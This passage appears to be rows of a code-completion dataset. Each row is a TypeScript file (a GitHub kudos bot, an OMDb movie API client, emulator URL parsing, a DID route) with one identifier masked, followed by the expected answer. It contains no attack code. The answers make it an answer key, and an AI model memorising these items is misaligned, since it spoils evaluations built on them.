    console.log(text);
    return Response.json({ generated: text, addedFilters });
  } catch (e) {
    return handleApiError(e);
  }
}
",filter
695,"import { Context, Probot } from ""probot"";
import {
  DataSourceApp,
  GitHubMetadata,
  KudosApiClient,
  KudosGraphQLConfig,
} from ""@slashkudos/kudos-api"";
import { EmitterWebhookEvent } from ""@octokit/webhooks/dist-types/types"";
import { User } from ""@octokit/webhooks-types"";
import { GitHubComment } from ""./models/GitHub/GitHubComment"";
import {
  AddDiscussionCommentInput,
  AddDiscussionCommentPayload,
} from ""@octokit/graphql-schema"";
import { GitHubCommentCreatedEvent } from ""./models/GitHub/GitHubCommentCreatedEvent"";

const app = (app: Probot) => {
  app.onAny((event: EmitterWebhookEvent): void =>
    console.log(`Received Webhook: ${JSON.stringify(event)}`)
  );
  app.on(
    [
      ""issue_comment.created"",
      ""discussion_comment.created"",
      ""pull_request_review_comment.created"",
    ],
    async (eventContext) => {
      console.log(`Received ${eventContext.name} event`);

      const payload = eventContext.payload as GitHubCommentCreatedEvent;
      const repo = payload.repository;
      const comment = payload.comment as unknown as GitHubComment;
      const commentBody = comment.body.trim();

      let  [MASK]  = ""/kudos"";
      if (process.env.IS_PROD_APP !== ""true"") {
         [MASK]  += ""-dev"";
      }
      // Make sure we check for the space after the slash command
       [MASK]  += "" "";

      console.log(`Checking comment for kudos.`);
      console.log(
        `Comment: ""${commentBody}""\nSlash Command: ""${ [MASK] }""`
      );
      if (commentBody.startsWith( [MASK] )) {
        console.log(""Kudos!"");

        const kudosClient = await getKudosClient();
        const octokit = eventContext.octokit;

        const mentions = commentBody
          .split("" "")
          .filter((word) => word.startsWith(""@"") && word.length > 1)
          .map((mention) => mention.substring(1));
        console.log(""Mentions: "" + mentions);

        if (mentions.length === 0) {
          console.log(""No mentions found."");
        }

        const giver = comment.user.login;
        for (const mention of mentions) {
          const receiverLogin = mention;

          console.log(`Looking up user ${receiverLogin}`);
          const getReceiverResponse = await octokit.users.getByUsername({
            username: receiverLogin,
          });
          const receiverUser = getReceiverResponse.data as User;

          if (!receiverUser) {
            console.log(""WARN: Could not find user: "" + receiverLogin);
            continue;
          }

          await createKudo(kudosClient, giver, receiverUser, comment, {
            repositoryPublic: repo.private === false,
            repositoryUrl: repo.html_url,
            ownerUrl: repo.owner.html_url,
          });

          const userTotal = await kudosClient.getTotalKudosForUser(
            receiverLogin
          );
          await createComment(
            eventContext,
            receiverLogin,
            payload,
            repo.private === false,
            userTotal
          );
        }
      } else {
        console.log(""Not a kudos comment"");
      }
    }
  );
};

async function createKudo(
  kudosClient: KudosApiClient,
  giver: string,
  receiverUser: User,
  comment: GitHubComment,
  metadata: GitHubMetadata
) {
  const link = comment.html_url || comment.url;
  await kudosClient.createKudo({
    giverUsername: giver,
    receiverUsername: receiverUser.login,
    message: comment.body.trim(),
    link: link,
    giverProfileUrl: comment.user.html_url,
    giverProfileImageUrl: comment.user.avatar_url,
    receiverProfileUrl: receiverUser.html_url,
    receiverProfileImageUrl: receiverUser.avatar_url,
    dataSource: DataSourceApp.github,
    metadata: metadata,
  });
}

async function createComment(
  eventContext: Context<
    | ""issue_comment.created""
    | ""discussion_comment.created""
    | ""pull_request_review_comment.created""
  >,
  receiver: string,
  payload: GitHubCommentCreatedEvent,
  repositoryPublic: boolean,
  totalKudos?: number | null
) {
  const octokit = eventContext.octokit;

  const siteUrl =
    process.env.IS_PROD_APP === ""true""
      ? ""https://app.slashkudos.com/""
      : ""https://app-dev.slashkudos.com/"";

  let commentBody = `Congrats @${receiver}, you just got another [kudo](${siteUrl})! :tada:`;
  if (totalKudos) {
    commentBody = `Congrats @${receiver}, you now have ${totalKudos} [kudos](${siteUrl})! :tada:`;
    if (totalKudos === 1) {
      commentBody = `Congrats @${receiver}, you just got your first [kudo](${siteUrl})! :tada: :partying_face:`;
    }
  } else {
    console.log(""WARN: Could not find total kudos for receiver: "" + receiver);
  }
  if (!repositoryPublic) {
    commentBody += ` [^1]\n\n[^1]: This kudo was given in a private repository so it will not be displayed in the [public feed](${siteUrl})`;
  }

  if (eventContext.name === ""issue_comment"") {
    console.log(""Creating comment on issue"");
    await octokit.issues.createComment({
      ...eventContext.issue(),
      body: commentBody,
    });
  } else if (eventContext.name === ""pull_request_review_comment"") {
    console.log(""Creating reply on PR review comment"");
    await octokit.pulls.createReplyForReviewComment({
      ...eventContext.pullRequest(),
      comment_id: payload.comment.id,
      body: commentBody,
    });
  } else if (eventContext.name === ""discussion_comment"") {
    console.log(""Creating reply to discussion comment"");
    // https://docs.github.com/en/graphql/reference/mutations#adddiscussioncomment
    const input: AddDiscussionCommentInput = {
      body: commentBody,
      discussionId: payload.discussion.node_id,
      replyToId: payload.comment.node_id,
    };
    await octokit.graphql<{
      addDiscussionComment: AddDiscussionCommentPayload;
    }>(
      `mutation ($body: String!, $discussionId: ID!, $replyToId: ID, $clientMutationId: String) {
        # input type: AddDiscussionCommentInput
        addDiscussionComment(input: {body: $body, discussionId: $discussionId, replyToId: $replyToId, clientMutationId: $clientMutationId}) {
          # response type: AddDiscussionCommentPayload
          comment {
            id
          }
        }
      }`,
      input
    );
  }
  console.log(""Comment created"");
}

async function getKudosClient() {
  const apiKey = process.env.KUDOS_GRAPHQL_API_KEY,
    apiUrl = process.env.KUDOS_GRAPHQL_API_URL;

  if (!apiKey) {
    throw new Error(""Missing KUDOS_GRAPHQL_API_KEY"");
  }
  if (!apiUrl) {
    throw new Error(""Missing KUDOS_GRAPHQL_API_URL"");
  }

  const kudosApiConfig: KudosGraphQLConfig = {
    ApiKey: apiKey,
    ApiUrl: apiUrl,
  };
  const kudosApiClient = await KudosApiClient.build(kudosApiConfig);
  return kudosApiClient;
}

export default app;
",slashCommand
696,"const API_PATH = 'https://www.omdbapi.com/';
const API_KEY = 'e3b51f14';

type RequestParams = {
  endpoint: 's' | 'i',
  query: string,
  type?: 'movie' | 'series' | 'episode'
  year?: number,
  page?: number,
};
type SearchRequestParams = Pick<RequestParams, 'query' | 'type' | 'year' | 'page'>;

const buildSearchParams = ({endpoint, query, type, year, page}: RequestParams) => {
  const searchParams = new URLSearchParams();

  searchParams.append('apiKey', API_KEY);
  searchParams.append(endpoint, query);

  if (type) {
    searchParams.append('type', type);
  }
  if (year) {
    searchParams.append('y', year.toString());
  }
  if (page) {
    searchParams.append('page', page.toString());
  }

  return searchParams;
};

export const request = async ({endpoint = 's', query, type, year, page} : RequestParams) => {
  const searchParams = buildSearchParams({endpoint, query, type, year, page});

  return await fetch(`${API_PATH}?${searchParams}`);
};

export const searchMovie = async ({query, type, year, page} : SearchRequestParams) =>
  request({endpoint: 's', query, type, year, page});

export const getMovie = async ( [MASK] : string) =>
  request({endpoint: 'i', query:  [MASK] });
",movieId
697,"import {BroadcastChannelEthernetProvider} from ""./BroadcastChannelEthernetProvider"";
import {CloudflareWorkerEthernetProvider} from ""./CloudflareWorkerEthernetProvider"";
import {fromDateString, toDateString} from ""./dates"";
import {
    ALL_DISKS,
    DISKS_BY_YEAR,
    FLOPPY_DISKS,
    isPlaceholderDiskDef,
    type DiskFile,
    type SystemDiskDef,
} from ""./disks"";
import {type EmulatorEthernetProvider} from ""./emulator/emulator-ui"";
import {
    MACHINES_BY_NAME,
    type MachineDefRAMSize,
    type MachineDef,
} from ""./machines"";

export type RunDef = {
    machine: MachineDef;
    ramSize?: MachineDefRAMSize;
    screenSize: ScreenSize;
    screenScale?: number;
    disks: SystemDiskDef[];
    diskFiles: DiskFile[];
    cdromURLs: string[];
    includeInfiniteHD: boolean;
    includeSavedHD: boolean;
    includeLibrary: boolean;
    libraryDownloadURLs: string[];
    ethernetProvider?: EmulatorEthernetProvider;
    // Force non-SharedArrayBuffer mode for debugging
    debugFallback?: boolean;
    debugAudio?: boolean;
    debugPaused?: boolean;
    debugLog?: boolean;
    debugTrackpad?: boolean;
    isCustom?: boolean;
    customDate?: Date;

    isEmbed?: boolean;
    screenUpdateMessages?: boolean;
    startPaused?: boolean;
    autoPause?: boolean;
};

export type ScreenSize =
    | ""auto""
    | ""fullscreen""
    | ""window""
    | ""embed""
    | {width: number; height: number};

export function runDefFromUrl(urlString: string): RunDef | undefined {
    let url;
    try {
        url = new URL(urlString);
    } catch (e) {
        return undefined;
    }

    const {searchParams, pathname} = url;

    let isCustom = searchParams.has(""edit"");
    const isEmbed = pathname === ""/embed"";
    const screenUpdateMessages =
        isEmbed && searchParams.get(""screen_update_messages"") === ""true"";
    const startPaused = searchParams.get(""paused"") === ""true"";
    const autoPause = searchParams.get(""auto_pause"") === ""true"";
    let includeInfiniteHD;
    let includeSavedHD;
    const includeLibrary = searchParams.get(""library"") !== ""false"";
    const libraryDownloadURLs = [...searchParams.getAll(""library_url"")];
    const disks: SystemDiskDef[] = [];
    const yearDiskDef = diskFromYearPath(url.pathname);
    if (yearDiskDef) {
        disks.push(yearDiskDef);
        includeInfiniteHD = searchParams.get(""infinite_hd"") !== ""false"";
        includeSavedHD = searchParams.get(""saved_hd"") !== ""false"";
    } else {
        includeInfiniteHD = searchParams.get(""infinite_hd"") === ""true"";
        includeSavedHD = searchParams.get(""saved_hd"") === ""true"";
        isCustom = true;
    }

    for (const diskName of searchParams.getAll(""disk"")) {
        const disk =
            ALL_DISKS.find(disk => disk.displayName === diskName) ??
            FLOPPY_DISKS.find(disk => disk.displayName === diskName);
        if (disk && !isPlaceholderDiskDef(disk)) {
            disks.push(disk);
        }
    }

    let machine: MachineDef | undefined = undefined;
    const machineName = searchParams.get(""machine"");
    if (machineName) {
        machine = MACHINES_BY_NAME[machineName];
        isCustom = true;
    }
    if (!machine && disks.length > 0) {
        machine = disks[0].preferredMachine;
    }
    if (!machine) {
        return undefined;
    }
    let ramSize: MachineDefRAMSize | undefined = undefined;
    const ramSizeParam = searchParams.get(""ram"") as MachineDefRAMSize | null;
    if (ramSizeParam && machine.ramSizes.includes(ramSizeParam)) {
        ramSize = ramSizeParam;
        isCustom = true;
    }
    let screenSize: ScreenSize = isEmbed ? ""embed"" : ""auto"";
    const screenSizeParam = searchParams.get(""screenSize"");
    switch (screenSizeParam) {
        case ""auto"":
        case ""fullscreen"":
        case ""window"":
            screenSize = screenSizeParam;
            break;
        case null:
            break;
        default: {
            const [width, height] = screenSizeParam
                .split(""x"")
                .map(s => parseInt(s));
            if (!isNaN(width) && !isNaN(height)) {
                screenSize = {width, height};
            }
            break;
        }
    }
    let screenScale: number | undefined = undefined;
    const screenScaleParam = searchParams.get(""screenScale"");
    if (screenScaleParam) {
        const scale = parseFloat(screenScaleParam);
        if (!isNaN(scale)) {
            screenScale = scale;
        }
    }

    const cdromURLs = [
        ...searchParams.getAll(""cdrom""),
        ...searchParams.getAll(""cdrom_url""),
    ];

    let ethernetProvider;
    const appleTalkZoneName = searchParams.get(""appleTalk"");
    if (appleTalkZoneName) {
        ethernetProvider = new CloudflareWorkerEthernetProvider(
            appleTalkZoneName
        );
    } else if (searchParams.get(""broadcast_channel_ethernet"") === ""true"") {
        ethernetProvider = new BroadcastChannelEthernetProvider();
    }

    let customDate;
    const  [MASK]  = searchParams.get(""date"");
    if ( [MASK] ) {
        customDate = fromDateString( [MASK] );
    }
    const debugFallback = searchParams.get(""debug_fallback"") === ""true"";
    const debugAudio = searchParams.get(""debug_audio"") === ""true"";
    const debugPaused = searchParams.get(""debug_paused"") === ""true"";
    const debugLog = searchParams.get(""debug_log"") === ""true"";
    const debugTrackpad = searchParams.get(""debug_trackpad"") === ""true"";

    return {
        disks,
        includeInfiniteHD,
        includeSavedHD,
        includeLibrary,
        libraryDownloadURLs,
        machine,
        ramSize,
        screenSize,
        screenScale,
        ethernetProvider,
        cdromURLs,
        diskFiles: [],
        customDate,
        debugFallback,
        debugAudio,
        debugPaused,
        debugLog,
        debugTrackpad,
        isCustom,
        isEmbed,
        screenUpdateMessages,
        startPaused,
        autoPause,
    };
}

export function runDefToUrl(runDef: RunDef): string {
    const {disks, machine, ethernetProvider} = runDef;
    let url: URL;
    if (
        disks.length === 1 &&
        ALL_DISKS.includes(disks[0]) &&
        !disks[0].hiddenInBrowser
    ) {
        url = new URL(diskToYearPath(disks[0]), location.href);
        if (!runDef.includeInfiniteHD) {
            url.searchParams.set(""infinite_hd"", ""false"");
        }
        if (!runDef.includeSavedHD) {
            url.searchParams.set(""saved_hd"", ""false"");
        }
    } else {
        url = new URL(""/run"", location.href);
        for (const disk of disks) {
            url.searchParams.append(""disk"", disk.displayName);
        }
        if (runDef.includeInfiniteHD) {
            url.searchParams.set(""infinite_hd"", ""true"");
        }
        if (runDef.includeSavedHD) {
            url.searchParams.set(""saved_hd"", ""true"");
        }
    }
    if (!runDef.includeLibrary) {
        url.searchParams.set(""library"", ""false"");
    }
    for (const libraryURL of runDef.libraryDownloadURLs) {
        url.searchParams.append(""library_url"", libraryURL);
    }
    for (const cdromURL of runDef.cdromURLs) {
        url.searchParams.append(""cdrom"", cdromURL);
    }

    if (disks.length !== 1 || machine !== disks[0].preferredMachine) {
        url.searchParams.set(""machine"", machine.name);
    }
    if (runDef.ramSize && runDef.ramSize !== machine.ramSizes[0]) {
        url.searchParams.set(""ram"", runDef.ramSize);
    }
    if (runDef.screenSize !== ""auto"") {
        url.searchParams.set(
            ""screenSize"",
            typeof runDef.screenSize === ""object""
                ? `${runDef.screenSize.width}x${runDef.screenSize.height}`
                : runDef.screenSize
        );
    }
    if (runDef.screenScale && runDef.screenScale !== 1) {
        url.searchParams.set(""screenScale"", runDef.screenScale.toString());
    }
    if (ethernetProvider instanceof CloudflareWorkerEthernetProvider) {
        url.searchParams.set(""appleTalk"", ethernetProvider.zoneName());
    } else if (ethernetProvider instanceof BroadcastChannelEthernetProvider) {
        url.searchParams.set(""broadcast_channel_ethernet"", ""true"");
    }
    if (runDef.customDate) {
        url.searchParams.set(""date"", toDateString(runDef.customDate));
    }

    if (runDef.debugAudio) {
        url.searchParams.set(""debug_audio"", ""true"");
    }
    if (runDef.debugLog) {
        url.searchParams.set(""debug_log"", ""true"");
    }
    if (runDef.debugPaused) {
        url.searchParams.set(""debug_paused"", ""true"");
    }
    if (runDef.debugFallback) {
        url.searchParams.set(""debug_fallback"", ""true"");
    }
    if (runDef.debugTrackpad) {
        url.searchParams.set(""debug_trackpad"", ""true"");
    }
    return url.toString();
}

function diskToYearPath(disk: SystemDiskDef): string {
    const year = Object.entries(DISKS_BY_YEAR).find(([year, disks]) =>
        disks.includes(disk)
    )?.[0];
    return `/${year}/${disk.displayName}`;
}

function diskFromYearPath(pathname: string): SystemDiskDef | undefined {
    const pieces = pathname.split(""/"");
    if (pieces.length !== 3) {
        return undefined;
    }
    const year = parseInt(pieces[1]);
    if (isNaN(year)) {
        return undefined;
    }
    const disks = DISKS_BY_YEAR[year];
    if (!disks) {
        return undefined;
    }
    const diskName = decodeURIComponent(pieces[2]);
    const disk = disks.find(disk => disk.displayName === diskName);
    if (!disk || isPlaceholderDiskDef(disk)) {
        return undefined;
    }
    return disk;
}
",customDateParam
698,"import MessageBus from '$lib/bus/MessageBus';
import { Messages } from '$lib/bus/Messages';
import ConfigService from '$lib/services/ConfigService';

export interface ApiResponse<T> {
	errors?: string[];
	response?: T;
}

export default abstract class BaseApi {
	private async request<T>(url: string, request: RequestInit = {}): Promise<T> {
		let options: RequestInit = {
			method: 'GET',
			headers: {},
			...request
		};
		options.headers['Content-Type'] = 'application/json';
		options.headers['Authorization'] = this.getBearerToken();

		let res = await fetch(this.getFullUrl(url), options);
		return (await res.json()) as T;
	}

	private getFullUrl(urlSuffix: string): string {
		if (process.env.NODE_ENV === 'test') return urlSuffix;

		let baseUrl = this.getBaseUrl();

		let baseUrlHasTrailingSlash = baseUrl.endsWith('/');
		let  [MASK]  = urlSuffix.startsWith('/');

		if (!baseUrlHasTrailingSlash && ! [MASK] ) return `${baseUrl}/${urlSuffix}`;

		if (baseUrlHasTrailingSlash &&  [MASK] )
			return `${baseUrl}${urlSuffix.substring(1)}`;

		return `${baseUrl}${urlSuffix}`;
	}

	private getBaseUrl(): string {
		let service = new ConfigService();

		return service.getConfig<string>('baseUrl');
	}

	private getBearerToken() {
		let token = MessageBus.getLastMessage<string>(Messages.UserToken);

		return `Bearer ${token}`;
	}

	private buildPostyRequestInit(body: any, method: string): RequestInit {
		let stringifedBody = this.stringifyBody(body);

		return {
			body: stringifedBody,
			method: method
		};
	}

	private stringifyBody(body: any) {
		if (typeof body === 'string') return body;

		return JSON.stringify(body);
	}

	protected async Get<T>(url: string): Promise<T> {
		return await this.request<T>(url);
	}

	protected async Post<T>(url: string, body: any): Promise<T> {
		return this.request<T>(url, this.buildPostyRequestInit(body, HTTP_METHODS.POST));
	}

	protected async Put<T>(url: string, body: any): Promise<T> {
		return this.request<T>(url, this.buildPostyRequestInit(body, HTTP_METHODS.PUT));
	}

	protected async Delete<T>(url: string): Promise<T> {
		return this.request<T>(url, { method: HTTP_METHODS.DELETE });
	}
}

const HTTP_METHODS = {
	GET: 'GET',
	POST: 'POST',
	PUT: 'PUT',
	DELETE: 'DELETE'
};
",urlSuffixHasLeadingSlash
699,"import { Request, Response } from ""express"";
import SDK from '@hyperledger/identus-edge-agent-sdk';
import { StorageInterface, ExportFormats, AbstractExportingKey } from ""../../core"";

async function did(
  request: Request,
  response: Response,
  storage: StorageInterface,
  domain: string
) {
  const { peerId } = request.params;
  const privateKeyRecords = await storage.store.findKeysByDID({ peerId });
  const records = privateKeyRecords.filter((record) => (record as unknown as AbstractExportingKey).canExport()) as unknown as AbstractExportingKey[]

  const domainDID = `did:web:${domain}:peers:${peerId}`;
  if (records.length <= 0) {
    return response.status(404).json({ success: false });
  }
  const authentication: string[] = [];
  const keyAgreement: string[] = [];
  const assertionMethod: string[] = [];
  const verificationMethods: any[] = [];
  records.forEach((record, index) => {
    const JWK = record.export(ExportFormats.JWK);
    if (record.type === SDK.Domain.KeyTypes.EC) {
      if (record.isCurve(SDK.Domain.Curve.ED25519)) {
        authentication.push(`${domainDID}#key-${index}`);
        assertionMethod.push(`${domainDID}#key-${index}`);
        verificationMethods.push({
          id: `${domainDID}#key-${index}`,
          type: ""JsonWebKey2020"",
          controller: domainDID,
          publicKeyJwk: JSON.parse(Buffer.from(JWK).toString()),
        });
      }
    } else if (record.type === SDK.Domain.KeyTypes.Curve25519) {
      if (record.isCurve(SDK.Domain.Curve.X25519)) {
        keyAgreement.push(`${domainDID}#key-${index}`);
        verificationMethods.push({
          id: `${domainDID}#key-${index}`,
          type: ""JsonWebKey2020"",
          controller: domainDID,
          publicKeyJwk: JSON.parse(Buffer.from(JWK).toString()),
        });
      }
    }
  });
  const  [MASK] : SDK.Domain.Service[] = [];
  return response.json({
    ""@context"": [
      ""https://www.w3.org/ns/did/v1"",
      ""https://w3id.org/security/suites/jws-2020/v1"",
    ],
    id: domainDID,
    verificationMethod: verificationMethods,
    authentication: authentication,
    assertionMethod: assertionMethod,
    keyAgreement: keyAgreement,
    service:  [MASK] ,
  });
}

export function createDIDRoute(storage: StorageInterface, domain: string) {
  return (request: Request, response: Response) =>
    did(request, response, storage, domain);
}
",services
700,"import { AddressSpace, ConstructorFunc, Namespace, UADataType, UAObject, UAObjectType, UAReferenceType, UAVariableType } from ""node-opcua"";
import * as path from ""path"";
import { AssetObject, AASObject, EDSObject, SubmodelPropertyObject, SubmodelObject, ConceptDescriptionObject, ConceptDictionaryObject, 
        DataSpecificationIEC61360, ReferenceElementObject, AASFileObject, SubmodelElementCollectionObject, ViewObject, Identifier, Key, AASReferenceObject, ReferableNamespaceObject, AdministrativeInformationObject, RangeObject, RelationshipElementObject, AnnotatedRelationshipElementObject, CapabilityObject, EntityObject } from ""./types"";
import { AASBuilder, AdministrativeInformationBuilder, AASReferenceBuilder, AssetBuilder, DataSpecificationIEC61360Builder, 
        EmbeddedDataSpecificationBuilder, SubmodelPropertyBuilder, SubmodelBuilder, ConceptDescriptionBuilder, 
        ConceptDictionaryBuilder, SubmodelElementsBuilder, ViewBuilder } from ""./builders/builder"";
import { AASOptions, AASReferenceOptions, AdministrativeInformationOptions, AssetOptions, ConceptDescriptionOptions, ConceptDictionaryOptions, 
        DataSpecificationIECOptions, EmbeddedDataSpecificationOptions, SubmodelOptions, ReferenceElementOptions, FileOptions, SubmodelElementCollectionOptions, SubmodelPropertyOptions, ViewOptions, RangeOptions, RelationshipElementOptions, AnnotatedRelationshipElementOptions, CapabilityOptions, EntityOptions } from ""./options_types"";
import assert = require(""assert"");

/**
 * This class represents the extension part of the OPC UA Server relevant to the CoreAAS Information Model.\
 * An instance of **CoreAASExtension** provides all the methods to populate the AddressSpace with instances of the ObjectTypes coming from CoreAAS.\
 * Furthermore it provides the Constructors for the Structured DataType defined in CoreAAS and lot of utilities methods to find Nodes in the Namespace of CoreAAS.
 */
export class CoreAASExtension {

    private _aasBuilder: AASBuilder;
    private _administrativeBuilder: AdministrativeInformationBuilder;
    private _aasReferenceBuilder: AASReferenceBuilder;
    private _assetBuilder: AssetBuilder;
    private _submodelPropertyBuilder: SubmodelPropertyBuilder;
    private _submodelBuilder: SubmodelBuilder;
    private _dataSpecificationIECBuilder: DataSpecificationIEC61360Builder;
    private _edsBuilder: EmbeddedDataSpecificationBuilder;
    private _conceptDescriptionBuilder: ConceptDescriptionBuilder;
    private _conceptDictionaryBuilder: ConceptDictionaryBuilder;
    private _submodelElementsBuilder: SubmodelElementsBuilder;
    private _viewBuilder: ViewBuilder;

    /** The complete URI of CoreAAS. */
    public readonly namespaceUri: string = ""http://dieei.unict.it/coreAAS/"";
    /** The absolute path to the CoreAAS xml file. */
    public readonly coreaasXmlFile: string = path.join(__dirname, ""../nodesets/coreaas.xml"");

    /** 
     * A Map containing all the Identifiables' ids as key and the relevant UAObject as value.
     * This attribute can be useful to implement function to resolve AAS References into Objects
     * in the AddressSpace. */
    public readonly identifiableMap: Map<string, UAObject> = new Map();
    
    /** 
     * @param addressSpace The Address Space instance of the current OPC UA Server.
     */
    constructor(public addressSpace: AddressSpace) {
        this._aasBuilder = new AASBuilder(this);
        this._administrativeBuilder = new AdministrativeInformationBuilder(this);
        this._aasReferenceBuilder = new AASReferenceBuilder(this);
        this._assetBuilder = new AssetBuilder(this);
        this._submodelPropertyBuilder = new SubmodelPropertyBuilder(this);
        this._submodelBuilder = new SubmodelBuilder(this);
        this._dataSpecificationIECBuilder = new DataSpecificationIEC61360Builder(this);
        this._edsBuilder = new EmbeddedDataSpecificationBuilder(this);
        this._conceptDescriptionBuilder = new ConceptDescriptionBuilder(this);
        this._conceptDictionaryBuilder = new ConceptDictionaryBuilder(this);
        this._submodelElementsBuilder = new SubmodelElementsBuilder(this);
        this._viewBuilder = new ViewBuilder(this);
    }
    
    /* Getters */
    /** The Namespace instance of the CoreAAS Information Model. */
    get coreAASNamespace(): Namespace {
        return this.addressSpace.getNamespace(this.namespaceUri);
    }

    /** The Namespace instance of the current Namespace. */
    get namespace(): Namespace {
        return this.addressSpace.getOwnNamespace();
    }
    
    /** The namespace index of the CoreAAS Information Model */
    get namespaceIndex(): number {
        return this.addressSpace.getNamespaceIndex(this.namespaceUri);
    }

    /* CoreAAS OPCUA Types */
    /** The Constructor of the Identifier Structured DataType. */
    get Identifier(): new (...args: any[]) => Identifier {
        const  [MASK]  = this.coreAASNamespace.findDataType(""Identifier"")!;
        return (<any>this.addressSpace).getExtensionObjectConstructor( [MASK] );
    }

    /** The Constructor of the Key Structured DataType. */
    get Key(): new (...args: any[]) => Key {
        const keyDataType = this.coreAASNamespace.findDataType(""Key"")!;
        return (<any>this.addressSpace).getExtensionObjectConstructor(keyDataType);
    }

    /* AddressSpace Builder methods */
    /**
     * Create and returns an instance of AASType ObjectType in the AddressSpace.
     */
    addAssetAdministrationShell(options: AASOptions): AASObject {
        return this._aasBuilder.addAssetAdministrationShell(options);
    }

    /** Create an AdministrativeInformation Object in the AddressSpace. */
    addAdministrativeInformation(options: AdministrativeInformationOptions): AdministrativeInformationObject {
        return this._administrativeBuilder.addAdministrativeInformation(options);
    }

    /** Create an instance of AASReferenceType ObjectType in the AddressSpace. */
    addAASReference(options: AASReferenceOptions): AASReferenceObject{
        return this._aasReferenceBuilder.addAASReference(options);
    }

    /** Create an instance of AssetType ObjectType in the AddressSpace. */
    addAsset(options: AssetOptions): AssetObject {
        return this._assetBuilder.addAsset(options);
    }

    /** Create an instance of SubmodelPropertyType ObjectType in the AddressSpace. */
    addSubmodelProperty(options: SubmodelPropertyOptions): SubmodelPropertyObject {
        return this._submodelPropertyBuilder.addSubmodelProperty(options);
    }

    /** Create an instance of ReferenceElementType ObjectType in the AddressSpace. */
    addReferenceElement(options: ReferenceElementOptions): ReferenceElementObject {
        return this._submodelElementsBuilder.addReferenceElement(options);
    }

    /** Create an instance of FileType ObjectType in the AddressSpace. */
    addAASFile(options: FileOptions): AASFileObject {
        return this._submodelElementsBuilder.addAASFile(options);
    }

    /** Create an instance of SubmodelElementCollectionType ObjectType in the AddressSpace. */
    addSubmodelElementCollection(options: SubmodelElementCollectionOptions): SubmodelElementCollectionObject {
        return this._submodelElementsBuilder.addSubmodelElementCollection(options);
    }

    /** Create an instance of RangeType ObjectType in the AddressSpace. */
    addRange(options: RangeOptions): RangeObject {
        return this._submodelElementsBuilder.addRange(options);
    }

    /** Create an instance of RelationshipElementType ObjectType in the AddressSpace. */
    addRelationshipElement(options: RelationshipElementOptions): RelationshipElementObject {
        return this._submodelElementsBuilder.addRelationshipElement(options);
    }

    /** Create an instance of AnnotatedRelationshipElementType ObjectType in the AddressSpace. */
    addAnnotatedRelationshipElement(options: AnnotatedRelationshipElementOptions): AnnotatedRelationshipElementObject {
        return this._submodelElementsBuilder.addAnnotatedRelationshipElement(options);
    }

    /** Create an instance of CapabilityType ObjectType in the AddressSpace. */
    addCapability(options: CapabilityOptions): CapabilityObject {
        return this._submodelElementsBuilder.addCapability(options);
    }

    /** Create an instance of EntityType ObjectType in the AddressSpace. */
    addEntity(options: EntityOptions): EntityObject {
        return this._submodelElementsBuilder.addEntity(options);
    }

    /** Create an instance of SubmodelType ObjectType in the AddressSpace. */
    addSubmodel(options: SubmodelOptions): SubmodelObject {
        return this._submodelBuilder.addSubmodel(options);
    }

    /** Create an instance of ViewType ObjectType in the AddressSpace. */
    addAASView(options: ViewOptions): ViewObject {
        return this._viewBuilder.addAASView(options);
    }

    /** Create an instance of DataSpecificationIEC61360Type ObjectType in the AddressSpace. */
    addDataSpecificationIEC61360(options: DataSpecificationIECOptions): DataSpecificationIEC61360 {
        return this._dataSpecificationIECBuilder.addDataSpecificationIEC61360(options);
    }

    /** Create an instance of EmbeddedDataSpecificationType ObjectType in the AddressSpace. */
    addEmbeddedDataSpecification(options: EmbeddedDataSpecificationOptions): EDSObject {
        return this._edsBuilder.addEmbeddedDataSpecification(options);
    }

    /** Create an instance of ConceptDescriptionType ObjectType in the AddressSpace. */
    addConceptDescription(options: ConceptDescriptionOptions): ConceptDescriptionObject {
        return this._conceptDescriptionBuilder.addConceptDescription(options);
    }

    /** Create an instance of ConceptDictionaryType ObjectType in the AddressSpace. */
    addConceptDictionary(options: ConceptDictionaryOptions): ConceptDictionaryObject {
        return this._conceptDictionaryBuilder.addConceptDictionary(options);
    }
    
    /* Utility methods */
    /**
     * Find and returns an ObjectType in the CoreAAS Namespace, otherwise return null.
     * @param name The name of the ObjectType to find.
     */
    findCoreAASObjectType(name: string): UAObjectType | null {
        return this.addressSpace.findObjectType(name, this.namespaceIndex);
    }

    /**
     * Find and returns a ReferenceType in the CoreAAS Namespace, otherwise return null.
     * @param name The name of the ReferenceType to find.
     */
    findCoreAASReferenceType(name: string): UAReferenceType | null {
        return this.addressSpace.findReferenceType(name, this.namespaceIndex);
    }
    
    /**
     * Find and returns a DataType in the CoreAAS Namespace, otherwise return null.
     * @param name The name of the DataType to find.
     */
    findCoreAASDataType(name: string): UADataType | null {
        return this.addressSpace.findDataType(name, this.namespaceIndex);
    }

    /** Returns the AASType ObjectType. */
    getAASType(): UAObjectType {
        return this.findCoreAASObjectType(""AASType"")!;
    }

    /** Returns the AdministrativeInformationType ObjectType. */
    getAdministrativeInformationType(): UAObjectType {
        return this.findCoreAASObjectType(""AdministrativeInformationType"")!;
    }

    /** Returns the AssetType ObjectType. */
    getAssetType(): UAObjectType {
        return this.findCoreAASObjectType(""AssetType"")!;
    }

    /** Returns the AASReferenceType ObjectType. */
    getAASReferenceType(): UAObjectType {
        return this.findCoreAASObjectType(""AASReferenceType"")!;
    }

    /** 
     * This function look in the AddressSpace for the entity Object pointed by **ref** and returns an UAObject eventually.\
     * Two version of this function exist: the version with a callback and the version with the return value. Using a callback avoid this
     * function to return a value, and viceversa. 
     * @param ref An AASReferenceType Instance representing the the AAS reference to fetch.
     * @param callback A callback function that receive an Error as first parameter or the found Object as second parameter. 
     * 
     * example:
     * ```typescript
     * //The following AAS Reference is created as example. Let's supposte is already exists in the AddressSpace.
     *  let ref = server.coreaas.addAASReference({
     *      organizedBy: aas_1,
     *      browseName: ""ereoto"",
     *      keys: [ 
     *          new Key({
     *              idType: KeyType.URI,
     *              local: true,
     *              type: KeyElements.Submodel,
     *              value: ""http://www.zvei.de/demo/submodel/12345679""
     *          }),
     *          new Key({
     *              idType: KeyType.idShort,
     *              local: true,
     *              type: KeyElements.SubmodelElementCollection,
     *              value: ""Measurement""
     *          }),
     *          new Key({
     *              idType: KeyType.idShort,
     *              local: true,
     *              type: KeyElements.Property,
     *              value: ""rotationSpeed""
     *          }) 
     *      ]
     *  });
     *  //This version of the function use a callback.
     *  server.coreaas.fetchAASReference(ref, function(err: Error , obj: UAObject) {
     *      if (err) {
     *          return console.log(err);
     *      }
     *      console.log(obj);
     *  });
     *  //This version of the function retruns the value or null otherwise.
     *  let result = server.coreaas.fetchAASReference(ref);
     *  console.log(result);
     * ```
     * */
